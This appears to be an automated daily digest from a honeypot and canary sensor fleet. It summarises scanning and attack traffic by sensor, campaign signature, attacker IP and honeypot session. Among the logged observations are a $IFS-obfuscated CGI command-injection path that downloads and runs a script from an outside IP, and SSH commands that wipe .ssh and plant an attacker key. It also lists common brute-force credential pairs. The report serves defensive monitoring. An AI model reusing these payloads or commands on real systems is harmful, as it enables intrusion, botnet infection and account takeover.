flux fleet digest — 2026-10-28 07:34 UTC
Fleet overview (last 24h vs 7-day baseline)
| sensor |
events |
uniq IPs |
7d avg events |
7d avg uniq |
events delta |
| ai-devbox-1 |
13852 |
390 |
1909 |
140 |
+626% |
| canary-farm-1 |
45508 |
529 |
6165 |
211 |
+638% |
| control-1 |
5138 |
112 |
4294 |
127 |
+20% |
| frantech-ts |
1427 |
65 |
9125 |
76 |
-84% |
| lauterbourg-01-ts |
7336 |
148 |
8155 |
157 |
-10% |
| netcup-ts |
2812 |
132 |
3431 |
106 |
-18% |
| ru-edge-1 |
17670 |
170 |
16869 |
125 |
+5% |
| sponge-01-ts |
1379 |
94 |
2735 |
107 |
-50% |
Sensors discovered in the sink: ai-devbox-1, canary-farm-1, control-1, frantech-ts, lauterbourg-01-ts, netcup-ts, ru-edge-1, sponge-01-ts.
Result-tag spikes (campaign candidates)
| sensor |
result |
24h |
7d avg |
ratio |
| ai-devbox-1 |
app-config-php |
28 |
6.2 |
4.5x |
| ai-devbox-1 |
env-production |
193 |
48.9 |
4.0x |
| ai-devbox-1 |
phpinfo |
112 |
18.3 |
6.1x |
| ai-devbox-1 |
phpmyadmin-login |
253 |
60.7 |
4.2x |
| ai-devbox-1 |
sftp-config-error |
34 |
8.7 |
3.9x |
| ai-devbox-1 |
webshell-probe |
140 |
15.5 |
9.0x |
| ai-devbox-1 |
wp-login-credentials |
144 |
28.0 |
5.1x |
| ai-devbox-1 |
wp-xmlrpc-post |
9807 |
1.0 |
9807.0x |
| canary-farm-1 |
app-config-php-error |
33 |
2.0 |
16.5x |
| canary-farm-1 |
aws-config-file |
74 |
16.5 |
4.5x |
| canary-farm-1 |
aws-credentials-file |
145 |
30.3 |
4.8x |
| canary-farm-1 |
aws-credentials-file-error |
26 |
3.0 |
8.7x |
| canary-farm-1 |
backup-archive-error |
26 |
3.0 |
8.7x |
| canary-farm-1 |
env-production-error |
298 |
69.7 |
4.3x |
| canary-farm-1 |
fake-git-error |
33 |
11.0 |
3.0x |
| canary-farm-1 |
issued |
326 |
77.3 |
4.2x |
| canary-farm-1 |
not-handled |
2163 |
594.1 |
3.6x |
| canary-farm-1 |
php-filter-tracebit-http-error |
78 |
0.0 |
infx |
| canary-farm-1 |
phpinfo-error |
118 |
22.4 |
5.3x |
| canary-farm-1 |
phpmyadmin-login |
666 |
172.7 |
3.9x |
| canary-farm-1 |
tarpit-module |
18386 |
2887.7 |
6.4x |
| canary-farm-1 |
tomcat-manager-ui-challenge |
164 |
47.3 |
3.5x |
| canary-farm-1 |
tracebit-http-error |
27 |
9.0 |
3.0x |
| canary-farm-1 |
webapp-form-profile |
90 |
20.2 |
4.5x |
| canary-farm-1 |
webshell-probe |
138 |
39.5 |
3.5x |
| canary-farm-1 |
webshell-sweep-observed |
25 |
4.8 |
5.2x |
| canary-farm-1 |
wp-config |
42 |
8.9 |
4.7x |
| canary-farm-1 |
wp-config-error |
35 |
2.0 |
17.5x |
| canary-farm-1 |
wp-login-credentials |
928 |
113.4 |
8.2x |
| canary-farm-1 |
wp-user-enum-rest-single |
40 |
0.0 |
infx |
| canary-farm-1 |
wp-xmlrpc-post |
14443 |
1.2 |
11554.4x |
| canary-farm-1 |
yii2-debug-view-error |
59 |
13.2 |
4.5x |
| control-1 |
etc-passwd |
26 |
7.5 |
3.5x |
| control-1 |
fake-git |
293 |
29.1 |
10.1x |
| control-1 |
issued |
89 |
20.7 |
4.3x |
| control-1 |
phpinfo-error |
30 |
9.4 |
3.2x |
| control-1 |
phpmyadmin-credential-post |
313 |
94.0 |
3.3x |
| control-1 |
phpmyadmin-login |
246 |
21.4 |
11.5x |
| control-1 |
tarpit-module |
2557 |
815.9 |
3.1x |
| control-1 |
tomcat-manager-ui-challenge |
26 |
4.2 |
6.1x |
| control-1 |
webshell-probe |
68 |
20.5 |
3.3x |
| frantech-ts |
webshell-probe |
37 |
3.3 |
11.1x |
| lauterbourg-01-ts |
drupal-user-register-drupalgeddon2 |
477 |
0.0 |
infx |
| lauterbourg-01-ts |
php2shell-index |
473 |
9.3 |
50.7x |
| lauterbourg-01-ts |
php2shell-root |
1097 |
236.5 |
4.6x |
| lauterbourg-01-ts |
phpunit-eval-stdin |
1048 |
56.8 |
18.4x |
| lauterbourg-01-ts |
webapp-form-profile |
451 |
10.3 |
43.6x |
| lauterbourg-01-ts |
wp-plugin-upload-attempt |
478 |
6.0 |
79.7x |
| netcup-ts |
wp-user-enum-rest-list |
25 |
1.9 |
13.5x |
| netcup-ts |
wp-user-enum-rest-single |
60 |
0.0 |
infx |
| ru-edge-1 |
env-production-error |
162 |
32.8 |
4.9x |
| ru-edge-1 |
issued |
240 |
59.9 |
4.0x |
| ru-edge-1 |
php-filter-tracebit-http-error |
34 |
0.0 |
infx |
| ru-edge-1 |
phpinfo |
109 |
25.8 |
4.2x |
| ru-edge-1 |
tarpit-module |
11130 |
2669.0 |
4.2x |
| ru-edge-1 |
webapp-form-profile |
59 |
15.8 |
3.7x |
| ru-edge-1 |
wp-user-enum-rest-single |
20 |
0.0 |
infx |
| ru-edge-1 |
yii2-debug-view |
25 |
7.3 |
3.4x |
| sponge-01-ts |
wp-user-enum-rest-single |
40 |
0.0 |
infx |
Campaign clusters (24h, journey-fingerprinted)
| signature |
IPs |
events |
sensors |
first seen |
sample journey (6 steps) |
| 3e1c5eb879e7 ⟳ |
116 |
818 |
ai-devbox-1,canary-farm-1,control-1,frantech-ts,netcup-ts,ru-edge-1,sponge-01-ts ⚠FLEET-WIDE |
08-29 |
/ [tarpit-module] → / [tarpit] → / [tarpit-disconnect] |
| 4b4cc0ece037 ⟳ |
14 |
94 |
ai-devbox-1,netcup-ts,sponge-01-ts ⚠FLEET-WIDE |
08-30 |
/ [tarpit-module] → / [tarpit-disconnect] → / [tarpit] |
| 7e61a9500d8b ⟳ |
8 |
392 |
ai-devbox-1,control-1,netcup-ts ⚠FLEET-WIDE |
08-29 |
/bin/sh [cgi-traversal-rce-command] → /bin/sh [cmd-injection-apache-cgi-shell] → /hello.world [cmd-injection-php-cgi-rce] → / [cmd-injection-php-cgi-rce] → /index.php [cmd-injection-php-cgi-rce] → /te |
| 7ea1125e0232 ⟳ |
8 |
112 |
ai-devbox-1,frantech-ts,ru-edge-1 ⚠FLEET-WIDE |
08-30 |
/ [tarpit-module] → / [tarpit] → / [tarpit-disconnect] → / [tarpit-module] → / [tarpit] → / [tarpit-disconnect] |
| 6b025bffa18d ⟳ |
8 |
27 |
lauterbourg-01-ts |
10-25 |
/ [php2shell-root] → /login [php2shell-login] → /favicon.ico [tarpit-module] |
| eee552d8955a ⟳ |
6 |
1650 |
canary-farm-1,netcup-ts,ru-edge-1,sponge-01-ts ⚠FLEET-WIDE |
09-22 |
/wp-login.php [wp-login-probe] → /wp-json/wp/v2/users [wp-user-enum-rest-list] → / [wp-user-enum-rest-list] → /index.php [wp-user-enum-rest-list] → /feed/ [not-handled] → /wp-sitemap-users-1.xml [wp-u |
| 0d2aa6aee590 |
5 |
30 |
canary-farm-1,control-1,netcup-ts,sponge-01-ts ⚠FLEET-WIDE |
10-28 |
/wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe] → /wp-login.php [wp-login |
| 13bb45a0dec9 ⟳ |
4 |
28 |
canary-farm-1,lauterbourg-01-ts ⚠FLEET-WIDE |
10-09 |
/favicon.ico [tarpit-module] → /favicon.ico [tarpit] → /favicon.ico [tarpit-disconnect] |
Signature = SHA-256 of the ordered path[result] sequence (≤40 steps). Same signature across IPs = one tooling campaign; IPs rotate, signatures persist.
First-seen in this window
New paths:
| sensor |
path |
first seen |
| canary-farm-1 |
/runtime/logs/app.log.1 |
2026-10-28 03:16:23.373241-04:00 |
| canary-farm-1 |
/runtime/debug/index.data |
2026-10-28 03:16:23.373241-04:00 |
| ru-edge-1 |
/dbconfig.php |
2026-10-28 03:16:23.373241-04:00 |
| canary-farm-1 |
/pscan-13b226ad-nonexistent.txt |
2026-10-28 03:16:23.373241-04:00 |
| canary-farm-1 |
/pscan-562a549e-nonexistent.txt |
2026-10-28 03:16:23.373241-04:00 |
| canary-farm-1 |
/studioserver/.git/config |
2026-10-28 03:16:23.373241-04:00 |
| sponge-01-ts |
/api/.env:80/core/.env |
2026-10-28 03:16:23.373241-04:00 |
| sponge-01-ts |
/.local.env |
2026-10-28 03:16:23.373241-04:00 |
| sponge-01-ts |
/cgi-bin/;cd$IFS/tmp;wget$IFS-qO-$IFShttp:/193.32.162.163/bins/__iot_netgear-cgibin_13eb9b5c>/dev/null$IFS2>&1;wget$IFS-qO$IFSk$IFShttp:/193.32.162.163/bins/kla.sh$IFS2>/dev/null||curl$IFS-s$IFS-o$IFSk$IFShttp:/193.32.162.163/bins/kla.sh$IFS2>/dev/null||busybox$IFSwget$IFS-qO$IFSk$IFShttp:/193.32.162.163/bins/kla.sh$IFS2>/dev/null;chmod$IFS+x$IFSk$IFS2>/dev/null;sh$IFSk |
2026-10-28 03:16:23.373241-04:00 |
| frantech-ts |
/debug/phpinfo.php |
2026-10-28 03:16:23.373241-04:00 |
| frantech-ts |
/cgi-bin/phpinfo.php |
2026-10-28 03:16:23.373241-04:00 |
| control-1 |
/pscan-0b46859b-nonexistent.txt |
2026-10-28 03:16:23.373241-04:00 |
| control-1 |
/backend/web/.env |
2026-10-28 03:16:23.373241-04:00 |
| control-1 |
/.env.save.dev |
2026-10-28 03:16:23.373241-04:00 |
| control-1 |
/.env.save.bak |
2026-10-28 03:16:23.373241-04:00 |
| control-1 |
/public |
2026-10-28 03:16:23.373241-04:00 |
| frantech-ts |
/config/env.php |
2026-10-28 03:16:23.373241-04:00 |
| frantech-ts |
/wp-config.php.gz |
2026-10-28 03:16:23.373241-04:00 |
| ru-edge-1 |
/_nb7yjvqjxio |
2026-10-28 03:16:23.373241-04:00 |
| sponge-01-ts |
/.env_private |
2026-10-28 03:16:23.373241-04:00 |
New user agents:
| sensor |
user agent |
first seen |
| canary-farm-1 |
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36 |
2026-10-28 03:32:15.998760-04:00 |
| canary-farm-1 |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15 |
2026-10-28 03:16:23.514277-04:00 |
| canary-farm-1 |
Mozilla/5.0 (compatible; symfony-scanner) |
2026-10-28 03:16:23.514277-04:00 |
| sponge-01-ts |
zenox-opendir-discovery/1.0 |
2026-10-28 03:16:23.514277-04:00 |
| control-1 |
Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900I Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 |
2026-10-28 03:16:23.514277-04:00 |
| lauterbourg-01-ts |
Mozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 |
2026-10-28 03:16:23.514277-04:00 |
| ru-edge-1 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 |
2026-10-28 03:16:23.514277-04:00 |
| canary-farm-1 |
Mozilla/5.0 (Linux; Android 6.0; Redmi Note 4 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043906 Mobile Safari/537.36 MicroMessenger/6.5.23.1180 NetType/WIFI Language/zh_CN |
2026-10-28 03:16:23.514277-04:00 |
| frantech-ts |
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 |
2026-10-28 03:16:23.514277-04:00 |
| frantech-ts |
Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KHTML, live Gecko) Chrome/59.0.3079.71 Safari/537.32 |
2026-10-28 03:16:23.514277-04:00 |
Top talkers (24h)
| sensor |
IP |
events |
trap fams |
paths |
first |
last |
blocklist |
ASN org |
cc |
POSTed |
| canary-farm-1 |
93.152.221.96 |
24905 |
139 |
348 |
10-27 04:54 |
10-27 18:58 |
- |
TechTies Inc. |
DE |
3868 |
| canary-farm-1 |
8.137.104.136 |
15055 |
7 |
6 |
10-28 05:50 |
10-28 07:34 |
- |
Hangzhou Alibaba Advertising |
CN |
15047 |
| ru-edge-1 |
93.152.221.96 |
14771 |
134 |
341 |
10-27 05:04 |
10-27 18:59 |
- |
TechTies Inc. |
DE |
1225 |
| ai-devbox-1 |
34.67.167.4 |
9815 |
5 |
5 |
10-28 04:47 |
10-28 05:23 |
- |
Google LLC |
US |
9807 |
| lauterbourg-01-ts |
152.236.14.113 |
3727 |
6 |
7 |
10-27 16:38 |
10-28 06:10 |
- |
Latitude.sh |
CA |
1875 |
| control-1 |
93.152.221.96 |
3370 |
93 |
313 |
10-27 11:21 |
10-27 21:34 |
- |
TechTies Inc. |
DE |
368 |
| lauterbourg-01-ts |
121.40.140.50 |
2432 |
1 |
1 |
10-27 03:34 |
10-27 05:17 |
- |
Hangzhou Alibaba Advertising |
CN |
2432 |
| canary-farm-1 |
102.220.163.241 |
1097 |
57 |
544 |
10-27 07:36 |
10-27 20:07 |
- |
VPS Dedicated LLC |
SI |
0 |
| frantech-ts |
188.166.247.29 |
516 |
6 |
217 |
10-28 01:33 |
10-28 01:33 |
- |
DigitalOcean, LLC |
SG |
1 |
| ru-edge-1 |
102.220.163.241 |
515 |
37 |
512 |
10-27 09:09 |
10-27 19:38 |
- |
VPS Dedicated LLC |
SI |
0 |
| ai-devbox-1 |
102.220.163.241 |
515 |
34 |
512 |
10-27 07:11 |
10-27 08:51 |
- |
VPS Dedicated LLC |
SI |
0 |
| control-1 |
194.180.49.41 |
514 |
35 |
511 |
10-27 22:58 |
10-27 23:17 |
- |
MEVSPACE sp. z o.o. |
BG |
0 |
| ai-devbox-1 |
194.180.49.41 |
514 |
34 |
511 |
10-27 23:22 |
10-28 02:10 |
- |
MEVSPACE sp. z o.o. |
BG |
0 |
| ru-edge-1 |
194.180.49.41 |
514 |
36 |
511 |
10-27 23:07 |
10-28 01:06 |
- |
MEVSPACE sp. z o.o. |
BG |
0 |
| ai-devbox-1 |
45.138.12.35 |
384 |
2 |
372 |
10-27 11:54 |
10-27 11:54 |
- |
Tc Datacenter Limited |
LT |
0 |
Canary economics (24h)
| sensor |
mints |
distinct minting IPs |
| ai-devbox-1 |
12 |
12 |
| canary-farm-1 |
326 |
13 |
| ru-edge-1 |
240 |
7 |
| control-1 |
89 |
7 |
| lauterbourg-01-ts |
0 |
0 |
Mint failures (24h): ai-devbox-1:400x11; canary-farm-1:400x27; ru-edge-1:400x14; control-1:400x4
Mints by type label:
| sensor |
types |
mints |
| ai-devbox-1 |
["aws"] |
12 |
| ru-edge-1 |
["aws"] |
240 |
| control-1 |
["aws"] |
89 |
| canary-farm-1 |
["aws"] |
326 |
XFF forgery signals (24h)
- requests with any X-Forwarded-For: 2615
- multi-entry XFF (forged chains — no proxy appends on the direct path): 0
- XFF present but ignored as the source (all entries internal, or it agrees with the peer): 480
- XFF naming a source other than the socket peer, from a direct connection (single-entry forgery): 425
TLS split + Host census (24h)
| sensor |
protocol |
events |
| ai-devbox-1 |
http |
12960 |
| ai-devbox-1 |
https |
892 |
| canary-farm-1 |
http |
44801 |
| canary-farm-1 |
https |
707 |
| control-1 |
http |
5138 |
| frantech-ts |
http |
1427 |
| lauterbourg-01-ts |
http |
7225 |
| lauterbourg-01-ts |
https |
111 |
| netcup-ts |
http |
2812 |
| ru-edge-1 |
http |
17670 |
| sponge-01-ts |
http |
1379 |
Top Host headers:
| sensor |
host |
events |
| canary-farm-1 |
109.123.246.142 |
44500 |
| ru-edge-1 |
130.94.89.46 |
17655 |
| ai-devbox-1 |
inference.fapthropic.com |
11176 |
| lauterbourg-01-ts |
89.116.25.211 |
7129 |
| control-1 |
38.54.2.209 |
5112 |
| netcup-ts |
159.195.21.150 |
2755 |
| ai-devbox-1 |
217.15.163.226 |
2659 |
| frantech-ts |
209.141.62.110 |
1402 |
| sponge-01-ts |
89.167.72.144 |
1357 |
| canary-farm-1 |
sso.rightabouteverything.show |
986 |
Control node discovery velocity
- first event ever: 2026-09-12 07:59 UTC (45 days live)
- daily unique-IP ramp (newest first):
| day |
events |
uniq IPs |
| 2026-10-28 |
5138 |
112 |
| 2026-10-27 |
4151 |
130 |
| 2026-10-26 |
892 |
102 |
| 2026-10-25 |
16293 |
114 |
| 2026-10-24 |
1369 |
152 |
| 2026-10-23 |
2290 |
108 |
| 2026-10-22 |
2173 |
178 |
| 2026-10-21 |
2892 |
104 |
| 2026-10-20 |
4882 |
167 |
| 2026-10-19 |
3563 |
119 |
| 2026-10-18 |
3050 |
106 |
| 2026-10-17 |
2715 |
102 |
| 2026-10-16 |
5453 |
133 |
| 2026-10-15 |
3148 |
110 |
Kill-chain watchlist (24h)
| sensor |
IP |
trap fams |
journey (chronological) |
ASN org |
cc |
| canary-farm-1 |
93.152.221.96 |
139 |
/wp-config.bak [wp-config] → /wp-config.orig [not-handled] → /wp-config.php.txt [wp-config] → /wp-config.old [wp-config] → /wp-config.php.swo [wp-config] → /wp-config.php.swp [wp-config] → /wp-config.php.original [not-handled] → /wp-config.php.backup [not-handled] → /wp-config.php.orig [wp-config] → /wp-config.php.dist [wp-config] → /wp-config.php.save [wp-config] → /wp-config.php- [not-handled] |
TechTies Inc. |
DE |
| ru-edge-1 |
93.152.221.96 |
134 |
/wp-config.save [not-handled] → /wp-config.php.orig [wp-config] → /wp-config.php [wp-config] → /wp-config.orig [not-handled] → /wp-config.bak [wp-config] → /wp-config.php.swo [wp-config] → /wp-config.php.dist [wp-config] → /wp-config.php- [not-handled] → /wp-config.old [wp-config] → /wp-config.php.txt [wp-config] → /wp-config.php.old [wp-config] → /wp-config.php.backup [not-handled] |
TechTies Inc. |
DE |
| control-1 |
93.152.221.96 |
93 |
/wp-config.php- [not-handled] → /wp-config.php.orig [wp-config] → /wp-config.php.old [wp-config] → /wp-config.php.bac [not-handled] → /wp-config.bak [wp-config] → /wp-config.php~ [wp-config] → /wp-config.php.backup [not-handled] → /wp-config.save [not-handled] → /wp-config.php.original [not-handled] → /.git/config [fake-git] → /wp-config.php.swo [wp-config] → /.git/HEAD [fake-git] |
TechTies Inc. |
DE |
| canary-farm-1 |
102.220.163.241 |
57 |
/ [tarpit-module] → /pscan-0a3fcc4c-nonexistent.txt [not-handled] → /.env [issued] → /vendor/.env [env-production] → /lib/.env [env-production] → /lab/.env [env-production] → /cronlab/.env [env-production] → /cron/.env [env-production] → /core/.env [env-production] → /core/app/.env [tarpit-module] → /core/Datavase/.env [tarpit-module] → /database/.env [phpmyadmin-login] |
VPS Dedicated LLC |
SI |
| canary-farm-1 |
45.138.12.16 |
51 |
/ [tarpit-module] → /.git/config [fake-git] → /.svn/entries [fake-svn] → /.git/config [fake-git-error] → /.svn/wc.db [fake-svn-error] → /.env [tracebit-http-error] → / [tarpit-disconnect] → / [tarpit] → /.git-credentials [git-credentials-error] → /.env.local [env-production-error] → /.env.production [env-production-error] → /.env.backup [env-production-error] |
Tc Datacenter Limited |
LT |
| canary-farm-1 |
185.177.72.9 |
41 |
/wp-json/gravitysmtp/v1/tests/mock-data [gravitysmtp-mock-data] → / [tarpit-module] → / [tarpit-disconnect] → / [tarpit] → /.git/config [fake-git-error] → /backend/.env [env-production-error] → /.env [tracebit-http-error] → /.aws/credentials [aws-credentials-file-error] → /info.php [phpinfo-error] → /error/ [not-handled] → /api/user [not-handled] → /............\var/log/apache2/access.log [not-handled] |
Bucklog SARL |
FR |
| canary-farm-1 |
93.152.209.6 |
40 |
/kmonbaseqt1335a6a4 [not-handled] → /kmonbasezd330022b2 [not-handled] → /.env.staging [env-production] → /.env.test [env-production] → /.docker/config.json [docker-config] → /.env.bak [env-production] → /.git/HEAD [fake-git] → /config.js [webapp-config-bundle-js] → /www/.env [env-production] → /web.config [iis-web-config] → /.env.production [env-production] → /application.properties [application-properties] |
Omniline Investment s.r.o. |
BG |
| ru-edge-1 |
45.138.12.16 |
38 |
/ [tarpit-module] → /.git/config [fake-git] → /.svn/wc.db [fake-svn-error] → /.env [tracebit-http-error] → / [tarpit] → / [tarpit-disconnect] → /.git-credentials [git-credentials-error] → /.env.local [env-production-error] → /.env.production [env-production-error] → /.env.backup [env-production-error] → /.env.old [env-production-error] → /.env.bak [env-production-error] |
Tc Datacenter Limited |
LT |
| ru-edge-1 |
102.220.163.241 |
37 |
/.git/config [fake-git] → / [tarpit-module] → /pscan-92e1ef4a-nonexistent.txt [not-handled] → /.env [issued] → /vendor/.env [env-production-error] → /lib/.env [env-production-error] → /lab/.env [env-production-error] → /cronlab/.env [env-production-error] → /cron/.env [env-production-error] → /core/.env [env-production-error] → /core/app/.env [tarpit-module] → /core/Datavase/.env [tarpit-module] |
VPS Dedicated LLC |
SI |
| ru-edge-1 |
194.180.49.41 |
36 |
/ [tarpit-module] → /pscan-f1a91bbf-nonexistent.txt [not-handled] → /.env [tracebit-http-error] → /vendor/.env [env-production-error] → /lib/.env [env-production-error] → /lab/.env [env-production-error] → /cronlab/.env [env-production-error] → /cron/.env [env-production-error] → /core/.env [env-production-error] → /core/app/.env [tarpit-module] → /core/Datavase/.env [tarpit-module] → /database/.env [phpmyadmin-login] |
MEVSPACE sp. z o.o. |
BG |
| control-1 |
194.180.49.41 |
35 |
/ [tarpit-module] → /pscan-353e8492-nonexistent.txt [not-handled] → /.env [tracebit-http-error] → /vendor/.env [env-production-error] → /lib/.env [env-production-error] → /lab/.env [env-production-error] → /cronlab/.env [env-production-error] → /cron/.env [env-production-error] → /core/.env [env-production-error] → /core/app/.env [tarpit-module] → /core/Datavase/.env [tarpit-module] → /database/.env [phpmyadmin-login] |
MEVSPACE sp. z o.o. |
BG |
| ai-devbox-1 |
194.180.49.41 |
34 |
/ [tarpit-module] → /pscan-c0f9fe75-nonexistent.txt [not-handled] → /.env [issued] → /vendor/.env [env-production] → /lib/.env [env-production] → /lab/.env [env-production] → /cronlab/.env [env-production] → /cron/.env [env-production] → /core/.env [env-production] → /core/app/.env [tarpit-module] → /core/Datavase/.env [tarpit-module] → /database/.env [phpmyadmin-login] |
MEVSPACE sp. z o.o. |
BG |
| ai-devbox-1 |
102.220.163.241 |
34 |
/ [tarpit-module] → /pscan-231055d1-nonexistent.txt [not-handled] → /.env [issued] → /vendor/.env [env-production] → /lib/.env [env-production] → /lab/.env [env-production] → /cronlab/.env [env-production] → /cron/.env [env-production] → /core/.env [env-production] → /core/app/.env [tarpit-module] → /core/Datavase/.env [tarpit-module] → /database/.env [phpmyadmin-login] |
VPS Dedicated LLC |
SI |
| ai-devbox-1 |
45.138.12.16 |
30 |
/ [tarpit-module] → /.git/config [fake-git] → /.svn/entries [fake-svn] → /.svn/wc.db [fake-svn] → /.env [issued] → / [tarpit-disconnect] → / [tarpit] → /.git-credentials [git-credentials-error] → /.env.local [env-production] → /.env.production [env-production] → /.env.backup [env-production] → /.env.old [env-production] |
Tc Datacenter Limited |
LT |
| canary-farm-1 |
165.22.34.189 |
27 |
/ [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] |
DigitalOcean, LLC |
US |
SSH/telnet honeypot (single sensor: frantech-ts)
Own honeypots on :2222/:2323, not the flux trap surface. Condensed feed (/data/hp-logs/), deliberately not part of v_logs. One host, so read it as a single-sensor view, not a fleet number.
- funnel: 757 sources sent credentials → 578 got a shell (76%) → 502 ran a command (87% of shell-getters, 66% of sources)
- event level: 8110 credential attempts → 4335 accepted logins → 13179 commands (304% of accepted logins go on to run something)
- telnet (commodity IoT botnets): 543 attempts
New commands this window (0 of 6854 distinct):
no command seen for the first time this window
Recurring commands (⟳ seen in an earlier window):
| events |
IPs |
example source |
command (head) |
| 1308 |
3 |
109.160.32.44 |
"uname -s -v -n -r -m" |
| 1307 |
3 |
109.160.32.44 |
"uname -m | awk '{printf $1}'" |
| 959 |
466 |
107.150.105.116 |
"cd ~; chattr -ia .ssh; lockr -ia .ssh" |
| 784 |
394 |
108.174.146.228 |
"cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0b |
| 281 |
7 |
103.159.2.113 |
"/bin/./uname -s -v -n -r -m" |
| 274 |
7 |
103.159.2.113 |
"uptime -p" |
| 263 |
7 |
103.159.2.113 |
"lspci | grep VGA | cut -f5- -d ' '" |
| 240 |
5 |
103.159.2.113 |
"lspci | grep VGA -c" |
Credentials: 2726 distinct pairs offered this window, 0 new. Concentration is the signal, not the list — top pairs:
| attempts |
user |
password |
| 934 |
345gs5662d34 |
345gs5662d34 |
| 803 |
root |
3245gs5662d34 |
| 144 |
root |
fjbdfdjkdsfs541544 |
| 91 |
root |
123456 |
| 87 |
cloud |
Wangsu@2017 |
| 86 |
root |
fjbdfdjkdsfs541544@@ |
| 85 |
pakchoi |
Kermit123@ |
| 75 |
pi |
raspberry |